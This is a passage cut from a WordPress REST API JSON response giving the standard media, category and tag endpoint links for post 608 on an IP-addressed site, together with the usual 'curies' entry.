\/media?parent=608"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/categories?post=608"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/tags?post=608"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}